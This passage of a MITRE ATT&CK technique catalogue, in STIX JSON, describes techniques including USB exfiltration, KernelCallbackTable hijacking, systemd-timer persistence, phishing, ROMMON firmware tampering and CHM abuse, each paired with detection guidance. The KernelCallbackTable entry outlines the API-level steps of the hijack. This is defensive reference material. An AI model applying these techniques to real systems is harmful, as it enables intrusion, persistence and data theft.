            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1052/001",
                    "external_id": "T1052.001"
                }
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            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-15T19:58:55.347Z",
            "name": "Exfiltration over USB",
            "description": "Adversaries may attempt to exfiltrate data over a USB connected physical device. In certain circumstances, such as an air-gapped network compromise, exfiltration could occur via a USB device introduced by a user. The USB device could be used as the final exfiltration point or to hop between otherwise disconnected systems.",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "exfiltration"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_contributors": [
                "William Cain"
            ],
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Monitor file access on removable media. Detect processes that execute when removable media are mounted.",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Linux",
                "Windows",
                "macOS"
            ],
            "x_mitre_version": "1.2",
            "x_mitre_data_sources": [
                "Process: Process Creation",
                "Drive: Drive Creation",
                "File: File Access",
                "Command: Command Execution"
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        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--a4657bc9-d22f-47d2-a7b7-dd6ec33f3dde",
            "created": "2022-02-25T15:27:44.927Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1574/013",
                    "external_id": "T1574.013"
                },
                {
                    "source_name": "FinFisher exposed ",
                    "description": "Microsoft Defender Security Research Team. (2018, March 1). FinFisher exposed: A researcher\u2019s tale of defeating traps, tricks, and complex virtual machines. Retrieved January 27, 2022.",
                    "url": "https://www.microsoft.com/security/blog/2018/03/01/finfisher-exposed-a-researchers-tale-of-defeating-traps-tricks-and-complex-virtual-machines/"
                },
                {
                    "source_name": "NtQueryInformationProcess",
                    "description": "Microsoft. (2021, November 23). NtQueryInformationProcess function (winternl.h). Retrieved February 4, 2022.",
                    "url": "https://docs.microsoft.com/en-us/windows/win32/api/winternl/nf-winternl-ntqueryinformationprocess"
                },
                {
                    "source_name": "Windows Process Injection KernelCallbackTable",
                    "description": "odzhan. (2019, May 25). Windows Process Injection: KernelCallbackTable used by FinFisher / FinSpy. Retrieved February 4, 2022.",
                    "url": "https://modexp.wordpress.com/2019/05/25/windows-injection-finspy/"
                },
                {
                    "source_name": "Lazarus APT January 2022",
                    "description": "Saini, A. and Hossein, J. (2022, January 27). North Korea\u2019s Lazarus APT leverages Windows Update client, GitHub in latest campaign. Retrieved January 27, 2022.",
                    "url": "https://blog.malwarebytes.com/threat-intelligence/2022/01/north-koreas-lazarus-apt-leverages-windows-update-client-github-in-latest-campaign/"
                }
            ],
            "object_marking_refs": [
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            "modified": "2025-04-15T22:43:44.231Z",
            "name": "KernelCallbackTable",
            "description": "Adversaries may abuse the <code>KernelCallbackTable</code> of a process to hijack its execution flow in order to run their own payloads.(Citation: Lazarus APT January 2022)(Citation: FinFisher exposed ) The <code>KernelCallbackTable</code> can be found in the Process Environment Block (PEB) and is initialized to an array of graphic functions available to a GUI process once <code>user32.dll</code> is loaded.(Citation: Windows Process Injection KernelCallbackTable)\n\nAn adversary may hijack the execution flow of a process using the <code>KernelCallbackTable</code> by replacing an original callback function with a malicious payload. Modifying callback functions can be achieved in various ways involving related behaviors such as [Reflective Code Loading](https://attack.mitre.org/techniques/T1620) or [Process Injection](https://attack.mitre.org/techniques/T1055) into another process.\n\nA pointer to the memory address of the <code>KernelCallbackTable</code> can be obtained by locating the PEB (ex: via a call to the <code>NtQueryInformationProcess()</code> [Native API](https://attack.mitre.org/techniques/T1106) function).(Citation: NtQueryInformationProcess) Once the pointer is located, the <code>KernelCallbackTable</code> can be duplicated, and a function in the table (e.g., <code>fnCOPYDATA</code>) set to the address of a malicious payload (ex: via <code>WriteProcessMemory()</code>). The PEB is then updated with the new address of the table. Once the tampered function is invoked, the malicious payload will be triggered.(Citation: Lazarus APT January 2022)\n\nThe tampered function is typically invoked using a Windows message. After the process is hijacked and malicious code is executed, the <code>KernelCallbackTable</code> may also be restored to its original state by the rest of the malicious payload.(Citation: Lazarus APT January 2022) Use of the <code>KernelCallbackTable</code> to hijack execution flow may evade detection from security products since the execution can be masked under a legitimate process.",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "persistence"
                },
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "privilege-escalation"
                },
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "defense-evasion"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Analyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious behaviors that could relate to post-compromise behavior.\n\nMonitoring Windows API calls indicative of the various types of code injection may generate a significant amount of data and may not be directly useful for defense unless collected under specific circumstances. for known bad sequence of calls, since benign use of API functions may be common and difficult to distinguish from malicious behavior. Windows API calls such as <code>WriteProcessMemory()</code> and <code>NtQueryInformationProcess()</code> with the parameter set to <code>ProcessBasicInformation</code> may be used for this technique.(Citation: Lazarus APT January 2022)",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Windows"
            ],
            "x_mitre_version": "1.0",
            "x_mitre_data_sources": [
                "Process: OS API Execution"
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        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--a51eb150-93b1-484b-a503-e51453b127a4",
            "created": "2020-10-02T17:01:42.558Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1597",
                    "external_id": "T1597"
                },
                {
                    "source_name": "ZDNET Selling Data",
                    "description": "Cimpanu, C. (2020, May 9). A hacker group is selling more than 73 million user records on the dark web. Retrieved October 20, 2020.",
                    "url": "https://www.zdnet.com/article/a-hacker-group-is-selling-more-than-73-million-user-records-on-the-dark-web/"
                }
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            "modified": "2025-04-15T23:03:31.068Z",
            "name": "Search Closed Sources",
            "description": "Adversaries may search and gather information about victims from closed (e.g., paid, private, or otherwise not freely available) sources that can be used during targeting. Information about victims may be available for purchase from reputable private sources and databases, such as paid subscriptions to feeds of technical/threat intelligence data. Adversaries may also purchase information from less-reputable sources such as dark web or cybercrime blackmarkets.(Citation: ZDNET Selling Data)\n\nAdversaries may search in different closed databases depending on what information they seek to gather. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133) or [Valid Accounts](https://attack.mitre.org/techniques/T1078)).",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "reconnaissance"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_contributors": [
                "Barbara Louis-Sidney (OWN-CERT)"
            ],
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\n\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": false,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "PRE"
            ],
            "x_mitre_version": "1.1"
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        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--a542bac9-7bc1-4da7-9a09-96f69e23cc21",
            "created": "2020-10-12T17:50:31.584Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1053/006",
                    "external_id": "T1053.006"
                },
                {
                    "source_name": "Systemd Remote Control",
                    "description": "Aaron Kili. (2018, January 16). How to Control Systemd Services on Remote Linux Server. Retrieved July 26, 2021.",
                    "url": "https://www.tecmint.com/control-systemd-services-on-remote-linux-server/"
                },
                {
                    "source_name": "archlinux Systemd Timers Aug 2020",
                    "description": "archlinux. (2020, August 11). systemd/Timers. Retrieved October 12, 2020.",
                    "url": "https://wiki.archlinux.org/index.php/Systemd/Timers"
                },
                {
                    "source_name": "gist Arch package compromise 10JUL2018",
                    "description": "Catalin Cimpanu. (2018, July 10). ~x file downloaded in public Arch package compromise. Retrieved April 23, 2019.",
                    "url": "https://gist.github.com/campuscodi/74d0d2e35d8fd9499c76333ce027345a"
                },
                {
                    "source_name": "Arch Linux Package Systemd Compromise BleepingComputer 10JUL2018",
                    "description": "Catalin Cimpanu. (2018, July 10). Malware Found in Arch Linux AUR Package Repository. Retrieved April 23, 2019.",
                    "url": "https://www.bleepingcomputer.com/news/security/malware-found-in-arch-linux-aur-package-repository/"
                },
                {
                    "source_name": "acroread package compromised Arch Linux Mail 8JUL2018",
                    "description": "Eli Schwartz. (2018, June 8). acroread package compromised. Retrieved April 23, 2019.",
                    "url": "https://lists.archlinux.org/pipermail/aur-general/2018-July/034153.html"
                },
                {
                    "source_name": "Falcon Sandbox smp: 28553b3a9d",
                    "description": "Hybrid Analysis. (2018, July 11). HybridAnalsysis of sample 28553b3a9d2ad4361d33d29ac4bf771d008e0073cec01b5561c6348a608f8dd7. Retrieved September 8, 2023.",
                    "url": "https://www.hybrid-analysis.com/sample/28553b3a9d2ad4361d33d29ac4bf771d008e0073cec01b5561c6348a608f8dd7?environmentId=300"
                },
                {
                    "source_name": "Linux man-pages: systemd January 2014",
                    "description": "Linux man-pages. (2014, January). systemd(1) - Linux manual page. Retrieved April 23, 2019.",
                    "url": "http://man7.org/linux/man-pages/man1/systemd.1.html"
                }
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            "modified": "2025-04-15T19:58:55.648Z",
            "name": "Systemd Timers",
            "description": "Adversaries may abuse systemd timers to perform task scheduling for initial or recurring execution of malicious code. Systemd timers are unit files with file extension <code>.timer</code> that control services. Timers can be set to run on a calendar event or after a time span relative to a starting point. They can be used as an alternative to [Cron](https://attack.mitre.org/techniques/T1053/003) in Linux environments.(Citation: archlinux Systemd Timers Aug 2020) Systemd timers may be activated remotely via the <code>systemctl</code> command line utility, which operates over [SSH](https://attack.mitre.org/techniques/T1021/004).(Citation: Systemd Remote Control)\n\nEach <code>.timer</code> file must have a corresponding <code>.service</code> file with the same name, e.g., <code>example.timer</code> and <code>example.service</code>. <code>.service</code> files are [Systemd Service](https://attack.mitre.org/techniques/T1543/002) unit files that are managed by the systemd system and service manager.(Citation: Linux man-pages: systemd January 2014) Privileged timers are written to <code>/etc/systemd/system/</code> and <code>/usr/lib/systemd/system</code> while user level are written to <code>~/.config/systemd/user/</code>.\n\nAn adversary may use systemd timers to execute malicious code at system startup or on a scheduled basis for persistence.(Citation: Arch Linux Package Systemd Compromise BleepingComputer 10JUL2018)(Citation: gist Arch package compromise 10JUL2018)(Citation: acroread package compromised Arch Linux Mail 8JUL2018) Timers installed using privileged paths may be used to maintain root level persistence. Adversaries may also install user level timers to achieve user level persistence.(Citation: Falcon Sandbox smp: 28553b3a9d)",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "execution"
                },
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "persistence"
                },
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "privilege-escalation"
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            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_contributors": [
                "SarathKumar Rajendran, Trimble Inc"
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            "x_mitre_deprecated": false,
            "x_mitre_detection": "Systemd timer unit files may be detected by auditing file creation and modification events within the <code>/etc/systemd/system</code>, <code>/usr/lib/systemd/system/</code>, and <code>~/.config/systemd/user/</code> directories, as well as associated symbolic links. Suspicious processes or scripts spawned in this manner will have a parent process of \u2018systemd\u2019, a parent process ID of 1, and will usually execute as the \u2018root\u2019 user.\n\nSuspicious systemd timers can also be identified by comparing results against a trusted system baseline. Malicious systemd timers may be detected by using the systemctl utility to examine system wide timers: <code>systemctl list-timers \u2013all</code>. Analyze the contents of corresponding <code>.service</code> files present on the file system and ensure that they refer to legitimate, expected executables.\n\nAudit the execution and command-line arguments of the 'systemd-run' utility as it may be used to create timers.(Citation: archlinux Systemd Timers Aug 2020)",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Linux"
            ],
            "x_mitre_version": "1.3",
            "x_mitre_data_sources": [
                "File: File Modification",
                "Process: Process Creation",
                "Command: Command Execution",
                "Scheduled Job: Scheduled Job Creation"
            ]
        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--a62a8db3-f23a-4d8f-afd6-9dbc77e7813b",
            "created": "2020-03-02T18:45:07.892Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1566",
                    "external_id": "T1566"
                },
                {
                    "source_name": "ACSC Email Spoofing",
                    "description": "Australian Cyber Security Centre. (2012, December). Mitigating Spoofed Emails Using Sender Policy Framework. Retrieved November 17, 2024.",
                    "url": "https://web.archive.org/web/20210708014107/https://www.cyber.gov.au/sites/default/files/2019-03/spoof_email_sender_policy_framework.pdf"
                },
                {
                    "source_name": "phishing-krebs",
                    "description": "Brian Krebs. (2024, March 28). Thread Hijacking: Phishes That Prey on Your Curiosity. Retrieved September 27, 2024.",
                    "url": "https://krebsonsecurity.com/2024/03/thread-hijacking-phishes-that-prey-on-your-curiosity/"
                },
                {
                    "source_name": "CISA Remote Monitoring and Management Software",
                    "description": "CISA. (n.d.). Protecting Against Malicious Use of Remote Monitoring and Management Software. Retrieved February 2, 2023.",
                    "url": "https://www.cisa.gov/uscert/ncas/alerts/aa23-025a"
                },
                {
                    "source_name": "cyberproof-double-bounce",
                    "description": "Itkin, Liora. (2022, September 1). Double-bounced attacks with email spoofing . Retrieved February 24, 2023.",
                    "url": "https://blog.cyberproof.com/blog/double-bounced-attacks-with-email-spoofing-2022-trends"
                },
                {
                    "source_name": "Unit42 Luna Moth",
                    "description": "Kristopher Russo. (n.d.). Luna Moth Callback Phishing Campaign. Retrieved February 2, 2023.",
                    "url": "https://unit42.paloaltonetworks.com/luna-moth-callback-phishing/"
                },
                {
                    "source_name": "Microsoft Anti Spoofing",
                    "description": "Microsoft. (2020, October 13). Anti-spoofing protection in EOP. Retrieved October 19, 2020.",
                    "url": "https://docs.microsoft.com/en-us/microsoft-365/security/office-365-security/anti-spoofing-protection?view=o365-worldwide"
                },
                {
                    "source_name": "Microsoft OAuth Spam 2022",
                    "description": "Microsoft. (2023, September 22). Malicious OAuth applications abuse cloud email services to spread spam. Retrieved March 13, 2023.",
                    "url": "https://www.microsoft.com/en-us/security/blog/2022/09/22/malicious-oauth-applications-used-to-compromise-email-servers-and-spread-spam/"
                },
                {
                    "source_name": "sygnia Luna Month",
                    "description": "Oren Biderman, Tomer Lahiyani, Noam Lifshitz, Ori Porag. (n.d.). LUNA MOTH: THE THREAT ACTORS BEHIND RECENT FALSE SUBSCRIPTION SCAMS. Retrieved February 2, 2023.",
                    "url": "https://blog.sygnia.co/luna-moth-false-subscription-scams"
                },
                {
                    "source_name": "Proofpoint-spoof",
                    "description": "Proofpoint. (n.d.). What Is Email Spoofing?. Retrieved February 24, 2023.",
                    "url": "https://www.proofpoint.com/us/threat-reference/email-spoofing"
                },
                {
                    "source_name": "Palo Alto Unit 42 VBA Infostealer 2014",
                    "description": "Vicky Ray and Rob Downs. (2014, October 29). Examining a VBA-Initiated Infostealer Campaign. Retrieved March 13, 2023.",
                    "url": "https://unit42.paloaltonetworks.com/examining-vba-initiated-infostealer-campaign/"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-15T19:58:55.739Z",
            "name": "Phishing",
            "description": "Adversaries may send phishing messages to gain access to victim systems. All forms of phishing are electronically delivered social engineering. Phishing can be targeted, known as spearphishing. In spearphishing, a specific individual, company, or industry will be targeted by the adversary. More generally, adversaries can conduct non-targeted phishing, such as in mass malware spam campaigns.\n\nAdversaries may send victims emails containing malicious attachments or links, typically to execute malicious code on victim systems. Phishing may also be conducted via third-party services, like social media platforms. Phishing may also involve social engineering techniques, such as posing as a trusted source, as well as evasive techniques such as removing or manipulating emails or metadata/headers from compromised accounts being abused to send messages (e.g., [Email Hiding Rules](https://attack.mitre.org/techniques/T1564/008)).(Citation: Microsoft OAuth Spam 2022)(Citation: Palo Alto Unit 42 VBA Infostealer 2014) Another way to accomplish this is by [Email Spoofing](https://attack.mitre.org/techniques/T1672)(Citation: Proofpoint-spoof) the identity of the sender, which can be used to fool both the human recipient as well as automated security tools,(Citation: cyberproof-double-bounce) or by including the intended target as a party to an existing email thread that includes malicious files or links (i.e., \"thread hijacking\").(Citation: phishing-krebs)\n\nVictims may also receive phishing messages that instruct them to call a phone number where they are directed to visit a malicious URL, download malware,(Citation: sygnia Luna Month)(Citation: CISA Remote Monitoring and Management Software) or install adversary-accessible remote management tools onto their computer (i.e., [User Execution](https://attack.mitre.org/techniques/T1204)).(Citation: Unit42 Luna Moth)",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "initial-access"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_contributors": [
                "Philip Winther",
                "Ohad Zaidenberg, @ohad_mz",
                "Liora Itkin",
                "Liran Ravich, CardinalOps",
                "Scott Cook, Capital One"
            ],
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Network intrusion detection systems and email gateways can be used to detect phishing with malicious attachments in transit. Detonation chambers may also be used to identify malicious attachments. Solutions can be signature and behavior based, but adversaries may construct attachments in a way to avoid these systems.\n\nFiltering based on DKIM+SPF or header analysis can help detect when the email sender is spoofed.(Citation: Microsoft Anti Spoofing)(Citation: ACSC Email Spoofing)\n\nURL inspection within email (including expanding shortened links) can help detect links leading to known malicious sites. Detonation chambers can be used to detect these links and either automatically go to these sites to determine if they're potentially malicious, or wait and capture the content if a user visits the link.\n\nBecause most common third-party services used for phishing via service leverage TLS encryption, SSL/TLS inspection is generally required to detect the initial communication/delivery. With SSL/TLS inspection intrusion detection signatures or other security gateway appliances may be able to detect malware.\n\nAnti-virus can potentially detect malicious documents and files that are downloaded on the user's computer. Many possible detections of follow-on behavior may take place once [User Execution](https://attack.mitre.org/techniques/T1204) occurs.",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": false,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Linux",
                "macOS",
                "Windows",
                "SaaS",
                "Identity Provider",
                "Office Suite"
            ],
            "x_mitre_version": "2.7",
            "x_mitre_data_sources": [
                "File: File Creation",
                "Network Traffic: Network Traffic Flow",
                "Application Log: Application Log Content",
                "Network Traffic: Network Traffic Content"
            ]
        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--a6525aec-acc4-47fe-92f9-b9b4de4b9228",
            "created": "2017-05-31T21:30:50.342Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1061",
                    "external_id": "T1061"
                },
                {
                    "source_name": "Wikipedia Run Command",
                    "description": "Wikipedia. (2018, August 3). Run Command. Retrieved October 12, 2018.",
                    "url": "https://en.wikipedia.org/wiki/Run_command"
                }
            ],
            "object_marking_refs": [
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            ],
            "modified": "2025-04-25T15:15:57.623Z",
            "name": "Graphical User Interface",
            "description": "**This technique has been deprecated. Please use [Remote Services](https://attack.mitre.org/techniques/T1021) where appropriate.**\n\nThe Graphical User Interfaces (GUI) is a common way to interact with an operating system. Adversaries may use a system's GUI during an operation, commonly through a remote interactive session such as [Remote Desktop Protocol](https://attack.mitre.org/techniques/T1076), instead of through a [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059), to search for information and execute files via mouse double-click events, the Windows Run command (Citation: Wikipedia Run Command), or other potentially difficult to monitor interactions.",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "execution"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_deprecated": true,
            "x_mitre_detection": "Detection of execution through the GUI will likely lead to significant false positives. Other factors should be considered to detect misuse of services that can lead to adversaries gaining access to systems through interactive remote sessions. \n\nUnknown or unusual process launches outside of normal behavior on a particular system occurring through remote interactive sessions are suspicious. Collect and audit security logs that may indicate access to and use of Legitimate Credentials to access remote systems within the network.",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": false,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
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                "macOS",
                "Windows"
            ],
            "x_mitre_version": "2.1"
        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--a6557c75-798f-42e4-be70-ab4502e0a3bc",
            "created": "2020-10-20T00:05:48.790Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1542/004",
                    "external_id": "T1542.004"
                },
                {
                    "source_name": "Cisco Synful Knock Evolution",
                    "description": "Graham Holmes. (2015, October 8). Evolution of attacks on Cisco IOS devices. Retrieved October 19, 2020.",
                    "url": "https://blogs.cisco.com/security/evolution-of-attacks-on-cisco-ios-devices"
                },
                {
                    "source_name": "Cisco Blog Legacy Device Attacks",
                    "description": "Omar Santos. (2020, October 19). Attackers Continue to Target Legacy Devices. Retrieved October 20, 2020.",
                    "url": "https://community.cisco.com/t5/security-blogs/attackers-continue-to-target-legacy-devices/ba-p/4169954"
                }
            ],
            "object_marking_refs": [
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            ],
            "modified": "2025-04-25T14:47:36.549Z",
            "name": "ROMMONkit",
            "description": "Adversaries may abuse the ROM Monitor (ROMMON) by loading an unauthorized firmware with adversary code to provide persistent access and manipulate device behavior that is difficult to detect. (Citation: Cisco Synful Knock Evolution)(Citation: Cisco Blog Legacy Device Attacks)\n\n\nROMMON is a Cisco network device firmware that functions as a boot loader, boot image, or boot helper to initialize hardware and software when the platform is powered on or reset. Similar to [TFTP Boot](https://attack.mitre.org/techniques/T1542/005), an adversary may upgrade the ROMMON image locally or remotely (for example, through TFTP) with adversary code and restart the device in order to overwrite the existing ROMMON image. This provides adversaries with the means to update the ROMMON to gain persistence on a system in a way that may be difficult to detect.",
            "kill_chain_phases": [
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                    "phase_name": "defense-evasion"
                },
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "persistence"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_deprecated": false,
            "x_mitre_detection": "There are no documented means for defenders to validate the operation of the ROMMON outside of vendor support. If a network device is suspected of being compromised, contact the vendor to assist in further investigation.",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Network Devices"
            ],
            "x_mitre_version": "1.1",
            "x_mitre_data_sources": [
                "Firmware: Firmware Modification"
            ]
        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--a6937325-9321-4e2e-bb2b-3ed2d40b2a9d",
            "created": "2020-01-23T18:53:54.377Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1218/001",
                    "external_id": "T1218.001"
                },
                {
                    "source_name": "Microsoft CVE-2017-8625 Aug 2017",
                    "description": "Microsoft. (2017, August 8). CVE-2017-8625 - Internet Explorer Security Feature Bypass Vulnerability. Retrieved October 3, 2018.",
                    "url": "https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2017-8625"
                },
                {
                    "source_name": "Microsoft HTML Help May 2018",
                    "description": "Microsoft. (2018, May 30). Microsoft HTML Help 1.4. Retrieved October 3, 2018.",
                    "url": "https://docs.microsoft.com/previous-versions/windows/desktop/htmlhelp/microsoft-html-help-1-4-sdk"
                },
                {
                    "source_name": "Microsoft HTML Help Executable Program",
                    "description": "Microsoft. (n.d.). About the HTML Help Executable Program. Retrieved October 3, 2018.",
                    "url": "https://msdn.microsoft.com/windows/desktop/ms524405"
                },
                {
                    "source_name": "Microsoft HTML Help ActiveX",
                    "description": "Microsoft. (n.d.). HTML Help ActiveX Control Overview. Retrieved October 3, 2018.",
                    "url": "https://msdn.microsoft.com/windows/desktop/ms644670"
                },
                {
                    "source_name": "MsitPros CHM Aug 2017",
                    "description": "Moe, O. (2017, August 13). Bypassing Device guard UMCI using CHM \u2013 CVE-2017-8625. Retrieved October 3, 2018.",
                    "url": "https://oddvar.moe/2017/08/13/bypassing-device-guard-umci-using-chm-cve-2017-8625/"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-15T19:58:56.001Z",
            "name": "Compiled HTML File",
            "description": "Adversaries may abuse Compiled HTML files (.chm) to conceal malicious code. CHM files are commonly distributed as part of the Microsoft HTML Help system. CHM files are compressed compilations of various content such as HTML documents, images, and scripting/web related programming languages such VBA, JScript, Java, and ActiveX. (Citation: Microsoft HTML Help May 2018) CHM content is displayed using underlying components of the Internet Explorer browser (Citation: Microsoft HTML Help ActiveX) loaded by the HTML Help executable program (hh.exe). (Citation: Microsoft HTML Help Executable Program)\n\nA custom CHM file containing embedded payloads could be delivered to a victim then triggered by [User Execution](https://attack.mitre.org/techniques/T1204). CHM execution may also bypass application application control on older and/or unpatched systems that do not account for execution of binaries through hh.exe. (Citation: MsitPros CHM Aug 2017) (Citation: Microsoft CVE-2017-8625 Aug 2017)",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "defense-evasion"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_contributors": [
                "Rahmat Nurfauzi, @infosecn1nja, PT Xynexis International"
            ],
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Monitor and analyze the execution and arguments of hh.exe. (Citation: MsitPros CHM Aug 2017) Compare recent invocations of hh.exe with prior history of known good arguments to determine anomalous and potentially adversarial activity (ex: obfuscated and/or malicious commands). Non-standard process execution trees may also indicate suspicious or malicious behavior, such as if hh.exe is the parent process for suspicious processes and activity relating to other adversarial techniques.\n\nMonitor presence and use of CHM files, especially if they are not typically used within an environment.",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Windows"
            ],
            "x_mitre_version": "2.2",
            "x_mitre_data_sources": [
                "File: File Creation",
                "Process: Process Creation",
                "Command: Command Execution"
            ]
        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--a718a0c8-5768-41a1-9958-a1cc3f995e99",
            "created": "2024-09-25T13:34:30.100Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1496/001",
                    "external_id": "T1496.001"
                },
                {
                    "source_name": "Unit 42 Hildegard Malware",
                    "description": "Chen, J. et al. (2021, February 3). Hildegard: New TeamTNT Cryptojacking Malware Targeting Kubernetes. Retrieved April 5, 2021.",
                    "url": "https://unit42.paloaltonetworks.com/hildegard-malware-teamtnt/"
                },
                {
                    "source_name": "CloudSploit - Unused AWS Regions",
                    "description": "CloudSploit. (2019, June 8). The Danger of Unused AWS Regions. Retrieved October 8, 2019.",
                    "url": "https://medium.com/cloudsploit/the-danger-of-unused-aws-regions-af0bf1b878fc"
                },
                {
                    "source_name": "Kaspersky Lazarus Under The Hood Blog 2017",
                    "description": "GReAT. (2017, April 3). Lazarus Under the Hood. Retrieved April 17, 2019.",
                    "url": "https://securelist.com/lazarus-under-the-hood/77908/"
                },
                {
                    "source_name": "Trend Micro Exposed Docker APIs",
                    "description": "Oliveira, A. (2019, May 30). Infected Containers Target Docker via Exposed APIs. Retrieved April 6, 2021.",
                    "url": "https://www.trendmicro.com/en_us/research/19/e/infected-cryptocurrency-mining-containers-target-docker-hosts-with-exposed-apis-use-shodan-to-find-additional-victims.html"
                },
                {
                    "source_name": "Trend Micro War of Crypto Miners",
